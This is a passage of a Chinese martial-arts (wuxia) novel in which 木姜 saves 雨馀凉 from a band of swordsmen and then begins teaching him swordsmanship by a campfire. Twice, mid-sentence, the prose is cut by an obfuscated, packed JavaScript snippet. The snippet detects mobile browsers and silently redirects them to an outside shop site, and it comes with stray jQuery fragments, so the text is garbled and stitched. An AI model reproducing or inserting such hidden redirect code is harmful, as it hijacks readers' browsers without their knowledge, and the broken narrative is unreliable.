山鬼这才将握着钢刺的右手收回,道:“少主说,卫氏那边有动作,他们似乎和水南这边的某个势力有联系,叫我们查清这件事。还有,他说他派了司马兄妹来水南。” 河伯顿了顿,随即嘶了一声,道:“那个夏篁……该不会就是这个势力的人吧,这也太巧了……” 山鬼道:“你也这么想?” 河伯点点头:“那个夏篁擅纵蛊,举手投足间的动作也像是土生土长的水南人,却要去杀了唐奕才和郑宝卿,说不定就是勾结了卫尧觉这个水西的武林盟主,才要反了他们自己的武林盟主。” 山鬼道:“是啊,在谷州刀派时,你跟我说,他看那个疤脸汉子的眼神就是水南人看水西人的眼神,我只觉得是开玩笑,也没多当真。现在想起来,雨……那个雨馀凉的爷爷之前还问过他一句:‘这人是水西来的,有没有得罪过水西那边的朋友’,这句话的语气口吻,只能是水南人对同样身为水南人的同胞说的。” 河伯看着山鬼,道:“咳……你……不会现在还记挂着你那小兄弟吧?” 山鬼十分坦诚:“有点,他的脸太容易给人留下印象了。” 河伯道:“我不帅吗?” 山鬼微微后仰,用一种嫌弃的表情看着河伯道:“你有病吧。”又道:“下次绝对不听你的了,我说要跟着雨氏爷孙过去看看,你却说热闹看够了,赶紧回水西是要紧事。我们要是跟着雨氏爷孙,说不定如今已经找到夏篁了。这个夏篁,就是少主要我们去查清的事的线索。” 河伯道:“当时不知道是谁说:‘也是,再留在这也只会节外生枝。’再说了,谁知道今天会突然收到少主的密信。” 山鬼道:“事到如今,该往哪里去找那个夏篁呢?” 河伯背靠着凉亭栏杆往山下望,忽然道:“喂。” 山鬼不耐烦道:“干嘛?非得在我思考问题的时候……” 河伯道:“你看那是谁?” 山鬼也往下一看,不由得愣住了。 雨馀凉正从山下经过。 ------------------------------ 山鬼和河伯分别藏在一棵树后,看着岔路边上一处茶摊,雨馀凉要了一碗面正在那里吃。 河伯小声对山鬼道:“我们非得这么跟着他吗?” 山鬼也小声道:“那你想怎样,直接出去问?你觉得他肯说?” 河伯无话。 过了一会,河伯道:“……我也饿了。” 好不容易等到雨馀凉吃完结账,山鬼与河伯继续跟在雨馀凉后面。 河伯道:“怎么一直是他一个人,他爷爷呢?” 山鬼道:“是呀,怎么一直是他一个人?他爷爷呢?夏篁呢?难道夏篁叫他单独出来办什么事,然后再和他们汇合么?” 两人决定先一直跟着雨馀凉,说不定后者最终就能把他们带去夏篁的老巢。到了傍晚,雨馀凉来到一座镇子上找了家客店投宿,河伯山鬼二人便在对面的客店住下。 第二天早上,雨馀凉收拾行李离开客店。山鬼与河伯在对面客店望见雨馀凉带着行李出门了,也付了银子离开。 二人跟着雨馀凉一路出了镇子,发觉雨馀凉一直在往北走。 山鬼道:“蛮疆不是在南边吗,难道夏篁不是蛮人?” 河伯道:“是蛮人,不是蛮人,各种可能性都有。好家伙,敢在他们盟主眼皮子底下干这种吃里扒外的事。” 二人继续跟着,直到太阳西斜,河伯和山鬼跟着雨馀凉来到一处树林中。 河伯突然伸手拦住山鬼,道:“停步!前面有人,还不少。” 山鬼表情一下凝重起来,隐藏好气息,与河伯一同躲在灌木丛之后。 “快快!”“就在这附近。”“已经很近了!”雨馀凉走着走着,突然听见前方有人说话,接着便是脚踩在落叶草丛上的声音,并且这声音越来越近。 经历了之前的事,雨馀凉有些像惊弓之鸟了,他紧张起来,希望这些人只是当地的猎户之类。 树丛后走出一众人,领头的是个身材浑圆的胖汉子,背着一把阔剑。他身后还跟着十数个人,这些人高矮胖瘦,个个身上都有兵器。 完蛋,不是猎户,是群江湖人士。 他们不是来找自己的吧。 他们应该不是来找自己的吧。 就自己这种……怎么会有人找? 雨馀凉正在心中胡思乱想之际,那群人从他旁边走过。 雨馀凉暗自松了一口气。却听得那胖汉子在他身后叫道:“既然来了,还躲什么?” 雨馀凉一惊,连忙回头,见那胖汉子是对着他身后的那片树林叫着。雨馀凉再次松了口气,心想事不关己,还是早走为妙。 灌木丛后,河伯山鬼皆变了脸色,二人相互对视,都心想:难道他们两人的行踪被发觉了?他们聊氏九歌的身份暴露了? 当他们思索着是走还是出来将那胖子解决了还是继续躲在灌木丛里观望时,那胖汉子突然转头,对正悄然离去的雨馀凉道:“小子站住。” 雨馀凉身子一颤,慢慢回过头来。 领头的那胖汉子道:“你有没有看见一个脸上有疤的汉子。”一面说,一面用手在左边脸颊上比划,食指从眉尾一直划到嘴角。 万幸,不是找自己的。雨馀凉正准备回答,突然心中一凛。 等一下,等一下。 他说的,难道是木姜? 雨馀凉本打算如实告知,但看这几人似乎不像是那位木先生的朋友,倒像是来寻晦气的,木姜再怎么说也救过他和雨休…… 雨馀凉喉结上下动了动,道:“没见到过。” 那胖汉子一边眉毛一挑,道:“当真?” 雨馀凉眼光扫过那胖汉子旁边的人,见到好几个都凶神恶煞地看着他,连忙移开目光,看着地面道:“……当真没见到。” 那胖子见到雨馀凉额头上渗出的细密汗珠,鼻孔中冲出一道粗气,吼道:“分明就在这附近,你敢骗我,叫你有如此树!”说着拔出背上阔剑就砸在旁边的一棵大树上,只见须一人完全张开双臂才能抱住的大树,霎时便从树干中间裂开,大树的上半截缓缓倒在一旁。 雨馀凉甚是惧怕胆颤,心中却想,难道我为了自己活命,就要将恩公的下落供出?我雨馀凉岂能做这样的人?若我成了这样的人,那么就算知道了身世,自己已然成了个卑鄙小人,又有何用?心里一横,大声道:“没见过,真的没见过!”他说这句话时,已准备好受死。 那胖汉子盯着雨馀凉的脸看了一会,突然仰头呼喝起来:“木姜!我知道你就在附近!有种的就给老子滚出来!” 他吼声如雷,声音里似乎还夹杂着内力,雨馀凉站在他旁边,只觉耳膜将裂,脑中一片嗡鸣,直欲晕去。 树林后突然传出一声叹息。 雨馀凉以及躲在灌木丛后的山鬼河伯都是一惊。 河伯与山鬼甚至比雨馀凉惊讶更甚,因为那声叹息是从他们背后传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717295|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。 只见一个身影从重重树影中走出,经过蹲在灌木丛背后的山鬼河伯二人,最终走到雨馀凉和那胖汉子等人面前。 那身影不是木姜又是谁? 木姜缓缓道:“幽豺谷的印迹香,我是真服了。有了那玩意儿,你们就跟个鬼一样,到哪都能找过来。” 河伯与山鬼俱是惊魂未定,不知木姜是何时到了他们身后的。他们在江湖行走多年,跟雨馀凉这种半吊子不同,但他们两个竟无论是谁都没察觉到身后还跟了个人。 好一出螳螂捕蝉,黄雀在后。只是不知木姜这只黄雀的目的究竟是什么? 木姜走到雨馀凉身边时,对他粲然一笑,道:“好小子,到底没供出我。” 领头的胖汉子紧了紧握住剑柄的手,发出一阵声响,道:“怪不得在蛮疆没找到你,原来跑到这来了。” 只见木姜叹了口气,又望天道:“你可得谢我。”似乎是在自言自语。 他话音未落,那胖汉子的手下就纷纷跃上前来,刀剑板斧,刺叉狼牙棒,各种兵器往木姜身上招呼。 雨馀凉又一次在如此近的距离看到武林中人残忍凶狠的斗杀,虽然在踏上这条路之前,雨馀凉就反复告诉自己:都会有的,真正的江湖什么都会有的。但真正面对时身体还是本能地退缩。 在下意识退了两步后,雨馀凉用意志逼自己站定在原地,并观察起眼前的形势。 眼前血肉横飞,惨叫声声。 没过多久,那胖汉子手下超过一半的人都被木姜杀死。 突然,雨馀凉看到有一枯瘦汉子握刀从后方向木姜冲去,而木姜正同时被三人缠上。 雨馀凉心想不好,但随即又想到,以这位木先生的身手,应付这种场面应该不成问题。尽管如此,他心里还是一紧。 那枯瘦汉子已来到了木姜背后,举刀刺向木姜,而木姜仍未回头! 形势万分危急,雨馀凉不知哪来的胆气,抽出木刀就朝那枯瘦汉子刺去。那枯瘦汉子感受到背后异状,回过头去,见雨馀凉持刀向自己刺来。大惊之余,身子一侧,雨馀凉这一剑没能刺中他躯干,却划过了他臂膀。若雨馀凉拿的是真刀,他手臂上便已然多了一条口子。 那人上臂被木刀擦过,有些火辣辣的,低头去看时,却发现连衣袖都没有破,这才看清雨馀凉拿的是木刀。 他反应过来是雨馀凉刺的自己后,登时大怒,一边回身向雨馀凉冲去,一边叫道:“你他娘的管什么闲事?” 雨馀凉见他面目狰狞,如洪水猛兽般向自己扑来,好不容易聚集起的勇气霎时烟消云散,大叫一声,转身拔腿就跑,他虽未回头,却感到身后一股劲风急至。 突然脚下踢到了什么东西,雨馀凉失去了平衡,登时整个身子重重拍在了地上。他顾不得吃痛,危急惊惧之中也来不及站起,赶紧撑起手肘向前爬了数步。 耳后忽传来噗的一声轻响,雨馀凉随即感到后颈窝一凉,他回头,只见一张脸便与自己的脸近在咫尺,这张脸上的双眼还圆睁着直直看着自己。 这张脸正是那枯瘦汉子的脸。 这一下把雨馀凉吓得简直要生魂出窍,啊的一声,四肢乱划往后面缩去。 等到退了数尺,雨馀凉才发现这枯瘦汉子咽喉处伸出一截刀刃来,刚才后颈的凉意或许就来自于此。往上一看,木姜站在那枯瘦汉子身后,居高临下地看着他。 原来是木姜一刀贯穿了枯瘦汉子的喉咙。雨馀凉往木姜身后看去,只看见一幅尸横遍地的景象。泥土上,树干上,全是斑斑血迹。那十几个人,包括方才逼问他的那胖汉子在内,全部倒在地上一动不动,像是都死了。 木姜手肘后缩,把刀从枯瘦汉子脖颈中拔了出来。将刀刃上的血迹甩了甩,还刀入鞘。 雨馀凉正做没理会处,却见木姜望向右首,朗声道:“二位跟了快两天了,不打算出来见见?”雨馀凉往他说话的方向望去,只见一片灌木丛,除此之外,并无他物。 他不知道,木姜看向的那片灌木丛后面正藏着河伯山鬼。河伯山鬼之前在谷州府就见识过这木姜的身手,今日再看到方才那番打斗,自知不是此人的对手。互相朝对方望了一眼,施展轻功离去,片刻间便到了数丈之外。 木姜感受到到河伯山鬼去得极快,说道:“倒也不简单。”便低下头来看着雨馀凉。 21. 拜师(二) 天色已黑,雨馀凉和木姜坐在篝火前。 “这些人是冲我来的,你当没看见就好,不过谢谢你帮我。” 雨馀凉笑笑,木姜武功如此高强,其实又何须自己来帮?也是自己没沉住气,贸然出手,反让别人来救自己。 木姜道:“你胆子挺大,居然还敢回谷州府。” 雨馀凉闻言一惊,心想:原来他从那个时候就已经暗中跟着我了,我竟一点没发觉。 雨馀凉沉默不语,想要说什么,却又说不出口。 木姜道:“你是不是想问我,既然那时已经跟你说了再不见面,之后又为什么跟着你?” 雨馀凉看着木姜,点点头。心想是啊,他不是说和自己就此别过了么,为什么又回来跟踪自己? 木姜微笑道:“不告诉你。” 雨馀凉觉得自己被戏弄了,腮帮子略微鼓起。 木姜以手撑头,垂眼看着篝火道:“你爷爷替你挡刀时,你看清刺出那一刀的是谁了吗?” 雨馀凉一愣,不想木姜会突然问出这个问题,表情瞬间凝重起来。道:“没有。当时我一回头,那人便已将刀抽出离开了,我忙着查看爷爷的伤势,对周围的事物都不大注意了。”他顿了顿,“但那人多半是谁,我心里知道” 雨馀凉和木姜同时道: “谢岚星。”“姓谢的。” 两人俱看着对方的眼睛。 木姜道:“看来我们两个想的一样。那时我回头只看见衣袍的一角,仓促之间看不真切,之后回想起来,恍惚记得颜色跟姓谢的小子那天穿的一样。” 雨馀凉抓紧了衣服下摆,低头道:“我如今恨不得将他抽筋剥皮。从一开始,我就不知道他为什么对我有那么大的恶意。我一直隐忍,他却变本加厉,甚至想要我死!人心怎能恶到这种地步!” 木姜没有说话,似乎自己也陷入了沉思。 雨馀凉又道:“我欲找他报仇,可一来武功不济,二来我现在是谷州刀派乃至谷州府的罪人,就算跟他单打独斗勉强能赢,我回谷州府去找他,还没看见他的人就已经被其他人拿下了。若我运气好,能够见到他,他身边一定也有人护着他,呵呵……毕竟是前掌门的孙子,所以眼下这个仇无论怎样都是报不成的。”他一边说着,一边双手抱头,手指插进头发里,显是心中痛苦万分。 木姜出神地望着篝火,轻声道:“这个世界就是这样,恶人不会有恶报,若只是盼着他们遭天谴,你是等不到的。” 雨馀凉道:“可若我没有力量去报仇,又该如何?” 木姜顿了顿,道:“那么他们便自在逍遥一辈子。” 雨馀凉突然感到一阵令人窒息的绝望。就像突然到了一处无穷无尽没有边界,却一片黑暗的所在,无论他怎么睁大眼睛向四周张望,映入眼帘的都是茫茫漆黑一片。 木姜接着道:“你那个同门,嗯……是叫鲍楚楚对吗?” 雨馀凉道:“对……” 木姜道:“尽管欺负你也不会有什么后果,不会付出什么代价,但她没有和其他大多数同门一起欺负你、看不起你,也没有像你的师父和很多师伯师叔那般对你表现出冷漠厌烦。相反,她对你还算比较耐心。但她很小便失去了母亲,好在她的父亲和奶奶对她很好,她自己也很努力,这次门派大较赢了你们谷州刀派最厉害的那个小子,那小子还比她早入门两年。” “可是,这次风波,跟你一辈的弟子和他们的家人大都平安无事,偏偏只有她失去了父亲,还是那样爱她的父亲。你说,老天爷他有心么?”木姜轻哼了一声,“什么好人有好报,恶人有恶报都是说出来安慰人的。这个世界远比你想象的残忍。” 若在从前,雨馀凉听了这些话会反驳,但现在,他所经历的让他艰难地接受了这一事实。 雨馀凉道:“听你这么说,我突然想到我们师父曾说过的一句话。” 见木姜没有说话,雨馀凉继续说了下去:“他说,只有好心肠,没有能力,便是废物。” 雨馀凉轻声道:“当时我听了这句话,心里很难受。可也许他说的才是对的,我会难受,只是因为我就是个废物。” 雨馀凉道:“木……前辈,我现在说的这话和你先前说的也许没什么关系,只是没来由想到,便说了出来,请你不要见怪。” 木姜道:“这有什么好见怪?”他叹了口气,道:“我却说,最重要的是好心肠,能力只排在后头。” 雨馀凉一愣,师父和木姜,两个人的说法是截然相反的。 但经历了雨休之死种种事后,现在的雨馀凉更认同师父辜俊愿的说法了,他问木姜:“有什么用?心好,又有什么用?” 木姜道:“没有用。”干脆果断,让雨馀凉连绝望都来不及。 木姜继续道:“没有用,可有些人还是要这样做。”他突然嗤的一声笑了出来,“我可不是说我自己,你别误会,我还达不到那个境界。” “但有人……有人是这样的……”他看向篝火,眼神突然含了十足的温情。 雨馀凉先前和木姜接触,只觉他无论是笑也好,不笑也好,眼神一直都是冷冷的没有温度,此刻却见到他眼里含了脉脉温柔,似能蕴出水来,不由得看呆了。 木姜忽然抬头看向雨馀凉,二人目光相接时,雨馀凉才意识到自己一直盯着木姜看,慌乱看向一边。 木姜道:“我可以教你武功。” 雨馀凉闻言,又看回木姜,简直不敢相信自己的耳朵。 木姜上下摆手示意雨馀凉先压制住雀跃,一边道:“但是有条件,你先听我说。” 他道:“我可以教你武功,但我自己也有事在身,所以你得跟着我走,我一边赶路一边做自己的事一边教你武功。如果你要走的路线跟我的路线不同,你又着急要去的话,我们便就此别过。” 雨馀凉虽然知道江湖广阔,人外有人。但在他的认知中,武功最好也就那样,无非是出招更敏捷些,力气更大些,使用轻功时飞得更高更远些,实在没什么意思。雨休虽让他从小识记各家各派的武功,什么什么掌,什么什么剑意、刀法,但这些对雨馀凉来说也只是一堆文字,从未亲眼见识过。他也常听雨休说江湖中卧虎藏龙,但也只是听听罢了,对此并没有多少明晰的概念。 直到此前奇人异士接踵而至谷州府,门派大乱。雨馀凉方知武学一道,实在博大精深,才知武功达到一定程度竟会有如此威力。且各路人马各显神通,雨馀凉算是大大地开了眼界,他看到的东西已经远远超出了他从前最天马行空的想象,雨馀凉这才第一次有些体会到了武学一道的魅力所在。 思及此,雨馀凉不禁心下黯然,谷州刀派好歹也算是个武林门派,可自己在其中待了十多年,却几乎没学到什么,诚然也怪自己不知上进。但据他看来,他的师父以及各位师伯师叔的武功还及不上重云门那位叫做陆临的年轻弟子,之后又听见陆临对他们谷州刀派最优秀的弟子铎占文说的那番话,便知这些大派根本瞧不上谷州刀派。可见继续留在谷州刀派也不过是浪费时间。 江湖凶险,当然他也没想要过多地卷入其中,什么阴谋诡计、争权夺利,都由那些人去好了,只是自己的武功太过低微,跟完全不会武功的人也差不了多少。况且就今日白天的情形来看,除了木姜,自己还被另一路人跟随着,虽然不知道他们为什么要跟着自己,但由此来看,提升武功确实是当务之急,不然还没找到关于身世的答案,自己便先身首异处了。 经过一番权衡,雨馀凉最终决定跟着木姜走。 雨馀凉道:“我愿意跟着木前辈学习武功。木前辈去哪,我就去哪。” 木姜道:“你想好。” 雨馀凉道:“我是绝不后悔的了。” 木姜道:“你要向我学武功,首先要明白三点,听了这三条后再决定不迟。”他缓缓道:“第一,我教你武功,但不会把你当做我的徒弟,你也不必把我当做师父。第二,我武功只算平庸,你若要学高深的功夫,可以另拜他人学艺。第三,修习武功的方式途径很多,不一定要别人指点。不同的人适合不同的方式,想清楚你适合哪种方式。” 雨馀凉听了,忙道:“第三点是不用说的了,第二点也不用说,我的武功要是能有木前辈一半,就已经很足够了!况且……我只要能保住自己不被山匪强人打劫害命就行……”毕竟,又有哪个江湖高手会来找他呢。 “可是第一点……”他有些疑惑,问道:“我要是不把木前辈作为师父尊敬,又如何报答前辈教我武功的大恩?” 木姜抿嘴一笑,道:“报恩什么的你随意。我的意思是,我不会对你承担师父的责任,你也不必对我履行徒弟的义务。我只是教你武功而已,不用发展太深入的关系。” 见雨馀凉还是一副无法理解的表情,木姜微笑道:“何必对师徒之名执着?你若如今拜我为师,对我尊重,说不定以后有了自己的想法,就想着怎么摆脱我了。” 雨馀凉听了,慌得双手乱摇,道:“不不不……我怎会,怎会如此……”雨馀凉实在想不通,若有一人成了自己的师父,对自己有恩,他尊敬师父还来不及,就算要去办什么事须得离开师父,跟师父说了就行,又怎会想要摆脱师父? 他以前在谷州刀派,虽然也有过师父,但他隐隐约约觉得,那不是真正意义上的师徒,毕竟他要在谷州刀派学艺,每年还得交银子。且师父辜俊愿一个人,就要带数十名弟子,很难一一关照得过来,其他师伯叔也是这样。 不管怎样,既然木姜不愿与他有师徒之名,他顺着木姜的意就是。 木姜道:“好啦,所以你了解了这几点,也还要我教你武功是不是?” 雨馀凉道:“是。” 木姜点点头道:“那么我再说最后两条。首先,如果之后你觉得难以和我相处,随时都可以离开。” 雨馀凉一愣。 “再有,那个夏篁虽然屁话连篇,可也有一点说对了,江湖不是想来就来想走就走的。你跟着我,说不定会被卷入一些意想不到的危险,我不能保证你的安全,趁现在抽身,还来得及。” 雨馀凉沉默一阵,道:“自从爷爷跟夏篁搭上线后,我就已经被迫踏足江湖了。木前辈你还记得吗,先前的时候,除了你之外,还有其他人跟着我,他们究竟是为了什么原因?我一点也不知道。但我能肯定的是,我已经卷入危险了,若再不学武功防身,岂不是人为刀俎,我为鱼肉么。” 木姜看了他一会,垂下头道:“也是呢。” 二人又是一阵沉默。篝火火焰烧着树枝,发出噼啪声响。 雨馀凉突然开口道:“不知木前辈是往哪个方向走?” 木姜道:“我往北走,去临蓟。” 雨馀凉喜道:“那咱们是一样的。” 木姜道:“嗯。” 雨休还在时,雨馀凉虽然闹着要去寻找自己的身世,但东西南北该往哪个方向走,他其实一点头绪都没有。之后雨休让他去仲邑江附近看看,他才有了一个大致的方向。但仲邑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717296|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江有那么长,偏偏雨休到最后也没说自己是在江边的哪个位置捡到他的。 而临蓟恰好坐落在离仲邑江不远的所在,既然如此,就先去临蓟看看。且临蓟城乃水南武林盟主驻地,在那说不定能打探到更多的消息。 木姜道:“我们是一边赶路一边习武,我教你武功也只能在停下来歇息时,你能接受吗?” 雨馀凉正要开口,木姜道:“先别急着答应,一刻不停地赶路就已经很辛苦,更别说在赶路的间隙还要练武,练武本身也不是一件轻松的事。你再仔细考虑一下,现在回头还不晚。” 听他这么说,雨馀凉心里也有些开始犯怵了,但怎能一开始就放弃?又想想自己往日也挺能走路的,于是咬咬牙道:“我已经决定要跟你学武功,就不会改变了。” 木姜手握一根树枝拨弄着火堆,嗯了一声,又道:“好。”他突然扔下树枝,拍拍手,起身道:“现在就开始吧。” 雨馀凉一怔,不想这么快就开始了。 木姜道:“现在离睡觉还有些时候,抓紧时间,白天要赶路,我实际教你的时候不会很多。” 雨馀凉听了,也从地上爬起。 木姜道:“你先将你们门派教你的刀法演练一遍我看。” 雨馀凉闻言,转身从行李堆里拿过木刀。 木姜道:“等等等等,你拿的是什么刀?” 雨馀凉有点懵,道:“……木刀啊。” 木姜正准备问没有其他刀吗,忽然想起先前雨馀凉是有一把真刀,似乎是他爷爷给他买的。但那把刀被谢岚星砍成了几截,之后被雨馀凉埋进了雨休的坟里。 想到这,木姜闭口没再说话。 雨馀凉道:“没事前辈,我平时练习都是用木刀。” 木姜摇头道:“你不可能总用木刀的。”他一面走到旁边,捡起自己平日背在背上的长条形布囊,一面说道:“实际跟人打架时用真刀,练习时便也得用真刀。” 木姜解开布囊,将里面的东西抽出。雨馀凉只见那东西赫然也是一把极修长的直刀,跟木姜平时拿在手上的那把一模一样。 木姜将手中的长刀抛向雨馀凉,道:“你以后就用这把。” 雨馀凉忙伸出双手来接,刚接住两手就往下一沉。真刀比木刀重上很多,挥舞起来手感更是有微妙的不同。此前雨馀凉用雨休买给他的那把刀跟谢岚星打,就亲身体会到了这点。 木姜道:“这把刀是我买来备用的,还没用过,给你。” 雨馀凉听了,连忙道:“不,不,木前辈,你把你手上那把旧刀给我就好了……如果你方便的话。” 木姜道:“这倒没什么不方便的,不过你也不用这么客气,新刀旧刀,都是一把刀而已。” 雨馀凉道:“您真的不用把新刀给我用,我的武功……非常不好,用新刀是糟蹋东西。” 木姜闻言,哈哈笑了,道:“什么糟不糟蹋,给了你,你就拿着。我们未来要相处一段时间,这就当是给你的见面礼了。” 雨馀凉听他这么说,也只好把刀收下。 若是从前,雨馀凉见木姜武功如此了得,得到了他的武器,定会十分激动,觉得自己拿到这把兵刃后会变得跟兵刃原来的主人一样厉害。可如今雨馀凉看着手上的这把刀,却想到了雨休送给自己的那把,不管以后得到什么神兵利器,都及不上他永远失去的那把长刀了。 他现在只想要那把永远也要不回来的刀。 雨馀凉看看自己手上的这把刀,再看看木姜平日握在手中的那把,问道:“前辈为何要在刀柄缠上绷带?” 先前离得较远看不真切,还以为木姜那把黑色刀鞘的长刀刀柄是白色的,如今和自己手上这把一对比,雨馀凉才看清原来木姜那把刀刀柄的白色是缠上去的粗布绷带,木姜的这两把刀都是刀鞘刀柄通体纯黑。 木姜拿过自己的刀,道:“我手心容易出汗,打斗时怕刀柄滑脱,所以缠上绷带。另外就是缠上绷带后我个人感觉要顺手些。” 雨馀凉道:“那我需要缠么?” 木姜一愣,道:“你需要缠就缠,看个人。” 雨馀凉道:“那我得两种都试试,才知道自己适合哪种。” 木姜道:“我这里有没用过的绷带,你要缠的时候跟我说。缠的话不要缠太厚,反而不好握。” 雨馀凉答应了,又将刀从鞘中拔出观看。 谷州刀派所用的刀本来就是长刀,木姜的这把比谷州刀派的刀还长。 过了一会,雨馀凉便拿着木姜给他的刀,开始演练起自己在谷州刀派所学的刀法。他先将自己最擅长、练得最熟的几套刀法一一试演开来,接着就是谷州刀派几套基础简单的刀法。最后,雨馀凉犹豫一番,还是将那几套最难、自己至今都没怎么练明白的刀法也在木姜面前演了一遍,中间很多似是而非的地方,雨馀凉也丝毫不掩饰,将自己的问题全部暴露在木姜面前。 其实能将师门传授的武功招式完整熟练地演练出来都是远远不够的。普天下习武之人中,多的是能流畅地将武功招式试演出来,而一跟人对打就手忙脚乱、完全不知该如何出招的人,更别说雨馀凉一个人试演招式都还磕磕绊绊。木姜让雨馀凉先把谷州刀派的刀法演练一遍,是要先看看他水平大概在哪个位置。是连门派所教的刀法招式都记不清,还是问题出在实战上。 雨馀凉一遍演完,看向木姜,不知他会怎么评价,有些不好意思。 木姜道:“我们一个问题一个问题来说吧。” 22. 拜师(三) 木姜将雨馀凉其中几套刀法中的问题一一摘出来说了,又道:“还有几套刀法的部分招式,你们门派大较的时候我没见弟子使过,所以不知道原本是什么样子,只能根据我个人的经验推测哪些地方是有问题的。”于是将那部分招式的问题也跟雨馀凉说了。 说完问题,木姜道:“其实这些招式你自己演练出来都还不错,怎么一到实战就磕磕绊绊?” 雨馀凉本以为木姜看他演练完招式会感到失望,没想到木姜却说他“不错”,这让他稍微有了些信心。于是道:“我……我一跟人实战就会十分紧张,手也不知道怎么出,脚也不知道怎么出了,自己一个人在一边练好的招式,一招也使不出来。” 木姜略一颔首,道:“比武么,不同的人有不同的理解,但最终都是为了达到‘嬴’这个目的。就我个人来说,达成这个目的的手段就是见招拆招,对面使出一招,我就钻研要怎样做才能将他的这招拆解了,并依据拆解的情况顺手进行反击。当然,这只是我的方法,也有不少人是通过以极快的速度出招让对方措手不及来达到取胜的目的,除此之外,还有其他不同的思路,但真正的高手过招,往往会几种思路混合使用。” 雨馀凉第一次听到这种说法,在心中思索一番,觉得甚有道理,突然感到心中大畅,极是兴奋。同时他想到,木姜自己在临敌时,的确是对方出一招,木姜拆一招。若对方的每一招自己都能拆解,那么是怎样都不会输的了。关键是要如何拆招呢? 雨馀凉道:“木前辈,我想着重了解一下见招拆招!” 木姜道:“其实不同的刀法也好,不同的剑法也好,还是枪法、鞭法、掌法、腿法等其他武功也好,本质上是一样的。因此将一套武功剥皮拆骨,吃熟摸透后,对其他各门各派的武功也就能触类旁通,大体了解了。而等到精熟一套武功后就要开始着重注意不同武功路数各自的特点,它因为什么和其他武功分开,自成一派。这些将它们区分开来的小特点往往就是拆解一套武功的关键所在。” 雨馀凉一边听一边觉得自己每一刻都有新的收获,只觉木姜说的每一句话都大有道理,而之前从自己未想到过,也从未有人跟他讲过。当即道:“木前辈,可以稍微等一下吗,我去拿纸笔记下来。” 木姜微微一笑,道:“一家之言,不用刻意去记。你勤加练习,多多临敌实战,自能总结出一套独到的经验。” 雨馀凉听到木姜说要他“多多临敌实战”,不由得恐惧紧张起来。 木姜抬头看了看,此时月亮已近中天。便道:“该睡觉了,今天就先休息,明天再继续吧。你只记得,兵来将挡,水来土掩。敌动我动,以不变应万变。” 雨馀凉心中一动:“以不变应万变?”他似乎悟到了什么,但仔细一想,却又觉得脑海中一片空白。 于是二人在篝火旁各自躺下。 如若在平时,雨馀凉是不敢一个人睡在野外的,说什么也得先找到镇子或农舍落脚。 但现在不同,木姜就在自己对面,两人之间只隔着篝火。 木姜的武功就不说了,单说他的长相,看那粗犷的眉毛,看那黝黑的肤色,看那道极富野性的疤痕,从外到里,从样貌到身手,都满满的是安全感,什么猛兽强人,通通不在话下。这种状况下,雨馀凉在野外露宿,不仅完全不害怕,甚至觉得自己能好好欣赏一下月色。 雨馀凉不知道的是,如果不是他在,木姜也不会这样夜宿山野,但原因跟他的有些不同。 ------------------------------ 雨馀凉兀自在梦境中,梦里他还在谷州府,爷爷雨休就在旁边,突然听得远处似有人在呼唤自己,眼前白晃晃明澄澄的景象消失了,一阵天旋地转,过后便是一片黑暗。 “雨馀凉,雨馀凉。” 确实有人在叫自己,且那声音不在远处,而是近在咫尺。雨馀凉猛地睁开眼,一道陌生汉子的身影便立在自己跟前。 雨馀凉有些恍惚,愣了愣神,这才想起眼前这人是木姜。 他的意识一下被从遥远的梦境中拉扯回现实,这才想起雨休已经死了,谷州刀派的种种,也皆已成为过去,而他如今所在的,是一条结果未知的道路。雨馀凉内心一阵伤心难过,背脊却又隐隐有些发凉。 木姜微笑道:“可别以为没在门派就不用早起了,跟着我可不比你在门派轻松。” 雨馀凉道:“我不怕早起,我只是不喜欢那个地方。” 第二天,雨馀凉和木姜一早便起身赶路。中午吃过干粮后,木姜继续教雨馀凉武功。 “你要拆招,首先要灵活。大较那天,你用来拆斩云诀的那招,就不算灵活。你可还记得你是怎么使的那招?” 雨馀凉怔住,难为情地摇摇头。 他一点都记不得了。 木姜道:“……你交叉双臂,以右手抓对面右腕,左手握刀刺他侧颈。” 雨馀凉想起来了,连忙“啊”了一声。 木姜道:“其实单就对面最后使出的那大半招斩云诀来说,要拆解又何须将双臂交叉?只需左手捉他右腕,右手直刺他颈项即可。双臂交叉,是在对方配合步法的情况下,为了让用出这招之人也被迷惑,所以才颠倒左右。他要迷惑你,你也迷惑他,虚虚实实,如雾如云,这才是斩云诀和拆解斩云诀的要义。那姓谢的小子下盘呆滞,全无步法,你也就不用多费力气了,这便是灵活。” 木姜接着又问雨馀凉:“那天谢岚星是怎么砸断你的刀的?” 雨馀凉心中一沉,这个他记得清楚。 只见木姜拔出了自己的刀,道:“现在你用那天他砸你的刀的方式来砸我的刀。” 雨馀凉闻言,摆好架势,随后大喝一声,举刀向木姜的刀猛力砍去。 雨馀凉的刀刃还没触及到木姜的刀,木姜便刀身一转,雨馀凉尚未反应过来,木姜的刀刃就停在了与他侧颈相去不及一寸远处。 木姜不给雨馀凉发呆的时间,道:“再来。” 雨馀凉又一次朝木姜的刀砍去,这一次木姜又将刀朝另一个方向一转,下一刻雨馀凉低头,见木姜的刀刃停在了自己咽喉处,刀刃与咽喉相距一寸左右。 